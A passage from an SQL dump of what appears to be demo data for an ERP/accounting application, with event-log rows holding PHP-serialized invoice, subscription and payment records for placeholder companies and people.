road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1579388400;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";d:48.6;s:9:\"total_tva\";d:1.94;s:9:\"total_ttc\";d:50.54;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:2:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"2.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"52.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"4.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"2.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"52.00000000\";s:9:\"info_bits\";s:1:\"0\";}i:2;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"-1.40000000\";s:23:\"multicurrency_total_tva\";s:11:\"-0.06000000\";s:23:\"multicurrency_total_ttc\";s:11:\"-1.46000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"4.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"-1.40000000\";s:9:\"total_tva\";s:11:\"-0.06000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"-1.46000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"AC2001-0004\";s:11:\"note_public\";N;}',12,1,0,'2020-01-19 15:13:07','Alice Adminson',''),(46,'2020-01-21 00:02:14','MEMBER_SUBSCRIPTION_CREATE',50.00000000,'aacdc952cc25b2d4f90222cea6f684320c76477e55b87687397d82e70694c517','ce99e3278ebb1f5f2540a0d7205a4b1230e2e23c4bed48b567433b34786b88e4','subscription',2,'','2013-07-18 00:00:00','O:8:\"stdClass\":10:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:5:\"datec\";i:1579564934;s:5:\"dateh\";i:1374098400;s:5:\"datef\";i:1405548000;s:11:\"fk_adherent\";s:1:\"3\";s:6:\"amount\";s:2:\"50\";s:2:\"id\";i:2;s:10:\"import_key\";N;s:6:\"statut\";N;s:4:\"note\";s:17:\"Subscription 2013\";}',12,1,0,'2020-01-21 01:02:14','Alice Adminson',''),(47,'2020-01-21 09:22:37','MEMBER_SUBSCRIPTION_CREATE',50.00000000,'43a9804c627e78b20c7842a563099892a2d464b207f96bb393886f0b0ea52b4a','c6befc858191e428330c0054328f84d09f7be0f5603fb5b15e3a59980bb8e6eb','subscription',3,'','2017-07-18 00:00:00','O:8:\"stdClass\":10:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:5:\"datec\";i:1579598557;s:5:\"dateh\";i:1500328800;s:5:\"datef\";i:1531778400;s:11:\"fk_adherent\";s:1:\"4\";s:6:\"amount\";s:2:\"50\";s:2:\"id\";i:3;s:10:\"import_key\";N;s:6:\"statut\";N;s:4:\"note\";s:17:\"Subscription 2017\";}',12,1,0,'2020-01-21 10:22:37','Alice Adminson',''),(48,'2020-01-21 09:23:17','MEMBER_SUBSCRIPTION_CREATE',50.00000000,'d44357a1d55ffedd8f24690cd3c8aa43f9bfd33aa362ad558fd486b3b7f62a50','7c32d13e68bb245ab06b8e11efa5ed9e5fdb15650265dc80d5cb00d4674c134d','subscription',4,'','2017-07-18 00:00:00','O:8:\"stdClass\":10:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:5:\"datec\";i:1579598597;s:5:\"dateh\";i:1500328800;s:5:\"datef\";i:1531778400;s:11:\"fk_adherent\";s:1:\"2\";s:6:\"amount\";s:2:\"50\";s:2:\"id\";i:4;s:10:\"import_key\";N;s:6:\"statut\";N;s:4:\"note\";s:17:\"Subscription 2017\";}',12,1,0,'2020-01-21 10:23:17','Alice Adminson',''),(49,'2020-01-21 09:23:17','BILL_VALIDATE',50.00000000,'30d0b37723f3cd2fce6afefd56cbdeb90f7cdee0e898e6ebaa411d84d3123ca0','e0301b9c4da11aa095a90cd9989b9fb6d0c635263cb2a8998b4ba57b60751d11','facture',229,'FA1707-0026','2017-07-18 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1500328800;s:10:\"ref_client\";s:0:\"\";s:4:\"type\";i:0;s:8:\"total_ht\";d:50;s:9:\"total_tva\";d:0;s:9:\"total_ttc\";d:50;s:12:\"revenuestamp\";N;s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"50.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"1\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"FA1707-0026\";s:11:\"note_public\";s:0:\"\";}',12,1,0,'2020-01-21 10:23:17','Alice Adminson',''),(50,'2020-01-21 09:23:17','PAYMENT_CUSTOMER_CREATE',50.00000000,'41e6e00dfd2b96c3d9056489f22241959407ad0282405d37ada32da919e2d744','625ed1ef1ab9edddabc0b1588542eb6eac30ac9224e75812dabcbdfa0211b918','payment',41,'PAY2001-0007','2020-01-21 00:00:00','O:8:\"stdClass\":8:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:12:\"PAY2001-0007\";s:4:\"date\";i:1579561200;s:9:\"type_code\";s:3:\"CHQ\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";N;s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:2:\"50\";s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:7:\"invoice\";O:8:\"stdClass\":9:{s:4:\"date\";i:1500328800;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:12:\"revenuestamp\";s:10:\"0.00000000\";s:3:\"ref\";s:11:\"FA1707-0026\";s:11:\"note_public\";N;}}}s:6:\"amount\";i:50;}',12,1,0,'2020-01-21 10:23:17','Alice Adminson',''),(51,'2020-01-21 09:23:28','MEMBER_SUBSCRIPTION_CREATE',50.00000000,'b24dfe36f8a3e5971898dd4fcfc61d775d4f0937169f44986bc9478d189e8e60','6160f4fb0fe73ce769a03f9d5460db7051602796090b9e44b51c6eadbd63c309','subscription',5,'','2018-07-18 00:00:00','O:8:\"stdClass\":10:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:5:\"datec\";i:1579598608;s:5:\"dateh\";i:1531864800;s:5:\"datef\";i:1563314400;s:11:\"fk_adherent\";s:1:\"2\";s:6:\"amount\";s:2:\"50\";s:2:\"id\";i:5;s:10:\"import_key\";N;s:6:\"statut\";N;s:4:\"note\";s:17:\"Subscription 2018\";}',12,1,0,'2020-01-21 10:23:28','Alice Adminson',''),(52,'2020-01-21 09:23:28','BILL_VALIDATE',50.00000000,'a6ba6c4518b94977daa8a65b6e9063e81b37563037455ee4608724674c53ea01','3724c09a72bbaab46bdde59c79ffd5d439ffb43f2a509c49ebe05aa9acdcda7a','facture',230,'FA1807-0027','2018-07-18 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1531864800;s:10:\"ref_client\";s:0:\"\";s:4:\"type\";i:0;s:8:\"total_ht\";d:50;s:9:\"total_tva\";d:0;s:9:\"total_ttc\";d:50;s:12:\"revenuestamp\";N;s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"50.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"1\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"FA1807-0027\";s:11:\"note_public\";s:0:\"\";}',12,1,0,'2020-01-21 10:23:28','Alice Adminson',''),(53,'2020-01-21 09:23:28','PAYMENT_CUSTOMER_CREATE',50.00000000,'54bbe038c35a0b1f63cccfbd89ce3232fc5dff8a56e7ff33bffebb9f412827bc','444449d4566c78f70a64b92d0008e9ddc933be75326cebdf5d41c4a94acdddc4','payment',42,'PAY2001-0008','2020-01-21 00:00:00','O:8:\"stdClass\":8:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:12:\"PAY2001-0008\";s:4:\"date\";i:1579561200;s:9:\"type_code\";s:3:\"CHQ\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";N;s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:2:\"50\";s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:7:\"invoice\";O:8:\"stdClass\":9:{s:4:\"date\";i:1531864800;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:12:\"revenuestamp\";s:10:\"0.00000000\";s:3:\"ref\";s:11:\"FA1807-0027\";s:11:\"note_public\";N;}}}s:6:\"amount\";i:50;}',12,1,0,'2020-01-21 10:23:28','Alice Adminson',''),(54,'2020-01-21 09:23:49','MEMBER_SUBSCRIPTION_CREATE',50.00000000,'c4b9d402ebf74ae10353550d9ef1ce08c899b6533bdc5434fa105599da3e28ce','4642f26ec597360d7616ed0d925080970614232397fc17022922eecad2e727c9','subscription',6,'','2019-07-18 00:00:00','O:8:\"stdClass\":10:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:5:\"datec\";i:1579598629;s:5:\"dateh\";i:1563400800;s:5:\"datef\";i:1594936800;s:11:\"fk_adherent\";s:1:\"2\";s:6:\"amount\";s:2:\"50\";s:2:\"id\";i:6;s:10:\"import_key\";N;s:6:\"statut\";N;s:4:\"note\";s:17:\"Subscription 2019\";}',12,1,0,'2020-01-21 10:23:49','Alice Adminson',''),(55,'2020-01-21 09:23:49','BILL_VALIDATE',50.00000000,'3e7b2c3b0b26c1982a3f8205b48a68756d81cd5bb673e1d2c7c09ce12c2086b9','ca332254195c3a59ee8c2ed0c60aec16a4229e83f5138f69747e65136ad370fa','facture',231,'FA1907-0028','2019-07-18 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont 